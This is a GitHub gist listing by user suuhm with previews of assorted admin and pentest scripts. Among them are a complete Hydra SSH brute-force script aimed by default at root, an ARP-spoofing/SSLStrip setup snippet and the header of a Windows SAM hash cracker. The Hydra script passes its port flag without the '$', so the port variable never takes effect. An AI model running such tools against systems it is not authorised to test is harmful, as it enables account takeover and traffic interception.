Skip to content

Instantly share code, notes, and snippets.

@suuhm
suuhm / ssh_bruteforce_hydra_quick.sh
Created January 6, 2024 15:30
Usage: ssh_bruteforce_hydra_quick.sh --host <IP> [PORT] [USER] using kali wordlist of john
#!/bin/bash
#
[ "$1" != "--host" ] && echo "Usage: $0 --host <IP> [PORT] [USER]" && exit 1 || IP=$2
[ -z $3 ] && PRT=22 || PRT=$3
[ -z $4 ] && USR="root" || USR=$4
echo "SSH BRUTE on $IP:$PRT - User: ($USR) ";echo "----------------------------------------------------------------";echo; sleep 2
hydra $IP -s PRT -o "$IP-ssh-brute.txt" -l $USR -P /usr/share/wordlists/john.lst -e nsr -u -f -t 16 ssh
#
@suuhm
suuhm / install_powershell.sh
Created January 5, 2024 11:48
powershell install on linux ubuntu / suse / fedora / debian / kali
wget https://github.com/PowerShell/PowerShell/releases/download/v7.2.17/powershell-lts_7.2.17-1.deb_amd64.deb
#suse fedora
#rpm -Uvh powershell-lts_7.2.17-1.deb_amd64.deb
dpkg -i powershell-lts_7.2.17-1.deb_amd64.deb
pwsh
@suuhm
suuhm / get_mcast_bcast.sh
Last active October 23, 2023 18:21
Oneliner - Get a list of all joined multicast/broadcast members
# Just enter the wished device you wanr to list your broadcast and multicast member ip's
D=eth0 ; B=$(ip a s dev $D | grep -E "^.*i.*brd \d" | cut -d ' ' -f8); echo 0 >/proc/sys/net/ipv4/icmp_echo_ignore_broadcasts; F=/tmp/mcout; rm $F; clear; while true; do ping $B -W2 -c2 | grep from | cut -d " " -f4 | cut -d ":" -f1 >> $F; ping 224.0.0.1 -W2 -c2 | grep from | cut -d " " -f4 | cut -d ":" -f1 >> $F; clear; echo "BROAD/MULTICAST [$B] (END CTRL^C)"; echo; cat $F | sort -u; sleep 2; done
@suuhm
suuhm / github_repo_release_downloader.sh
Last active October 13, 2023 13:44
Script for Downloading/ Listing all (or one) files from the latest github realeases of a specific repo
#! /bin/bash
# github_repo_release_downloader.sh (c) suuhm - 2023
# --------------------------------------------------
# Download/list all wished files in a Github repository:
#
#
# Options:
# ./github_repo_release_downloader.sh
# --list : List all files in Repo
@suuhm
suuhm / openwrt-arp-spoofer-2.sh
Created October 8, 2023 13:30
OpenWRT - ARP Spoofing and setup SSLStrip
# SET PROXY-ARP
# -------------
echo 1 > /proc/sys/net/ipv4/conf/eth0.1/proxy_arp
# Check with ARPPING
# ------------------
apt install arping
arping 203.0.113.114 -i eth0
@suuhm
suuhm / ossec-install-helper.sh
Last active September 15, 2023 21:31
OSSEC 3.7.0 installing helper script
#!/bin/bash
#Set Version you wished:
VER="3.7.0"
echo "Installing OSSEC v${VER}"
echo "(c) 2023 - suuhm"
echo; sleep 2
apt clean && apt update
@suuhm
suuhm / win-sam-cracker.sh
Created August 18, 2023 19:16
Windows SAM NTLM File cracker - 42 LINES OF FUN ; Run on Kali live or install impacket / hashcat , john on your mashine to start
#!/bin/bash
#
# WIN-SAM-CRACKER.sh - 42 LINES OF FUN ; RUN ON KALI 2 RECOVER
clear; echo
echo " °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° "
echo "| WINDOWS SAM CRACKER - v0.1b (C) 2023 suuhm |"
echo "| ------------------------------------------ |"
echo "| THE EASY WAY TO WINDOZE URSELF |"
echo " °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° "
@suuhm
suuhm / pdf-investigator_0.2b.sh
Created August 16, 2023 20:29
Simple bash script for checking of PDF files and filter strings
#!/bin/bash
#
# -------------------------------------------
# PDF INVESTIGATOR v0.2beta ; (c) 2023 suuhm
# -------------------------------------------
#
# pdate-alternatives --install /usr/bin/python python /usr/bin/python3.11 1
#
# apt install pdf-parser pdfid
#
@suuhm
suuhm / ReVanced_CLI_Build_Helper_Linux.sh
Created August 14, 2023 16:16
ReVanced CLI Build Helper Script for Linux Devices incude. adb push
#!/bin/bash
echo "ReVanced CLI Helper v0.1a (c) by 2023 suuhm"
echo; echo "Usage: $0 YOU_YOUTUBE_APP.apk"; echo; sleep 1
YTAPP=$1
IPTV=1.2.3.4
RDIRr=/opt/revanced
mkdir -p $RDIR && cd $RDIR
@suuhm
suuhm / set_dsrm.bat
Created August 10, 2023 20:55
Setup / Reset new DSRM Password
@echo off
set SERVER_X=<IP>
echo STARTING:
ntdsutil
echo * SET NEW PASSWORD
set dsrm password